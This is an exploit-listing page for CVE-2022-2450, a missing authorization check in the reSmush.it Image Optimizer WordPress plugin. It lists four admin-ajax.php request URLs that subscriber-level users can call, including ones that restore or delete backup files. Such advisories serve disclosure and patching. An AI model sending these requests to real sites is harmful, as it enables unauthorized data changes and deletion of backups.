Exploit for reSmush.it Image Optimizer < 0.4.4 - Subscriber+ AJAX Calls CVE-2022-2450

Name: Exploit for reSmush.it Image Optimizer < 0.4.4 - Subscriber+ AJAX Calls CVE-2022-2450
Rating: 5 (57 reviews)

2022-10-19 | CVSS 2.0

## https://sploitus.com/exploit?id=WPEX-ID:1B3FF124-F973-4584-A7D7-26CC404BFE2B
Examples of actions where low-privileged users can directly ask

- https://example.com/wp-admin/admin-ajax.php?action=resmushit_bulk_get_images
- https://example.com/wp-admin/admin-ajax.php?action=resmushit_restore_backup_files
- https://example.com/wp-admin/admin-ajax.php?action=resmushit_remove_backup_files
- https://example.com/wp-admin/admin-ajax.php?action=resmushit_update_statistics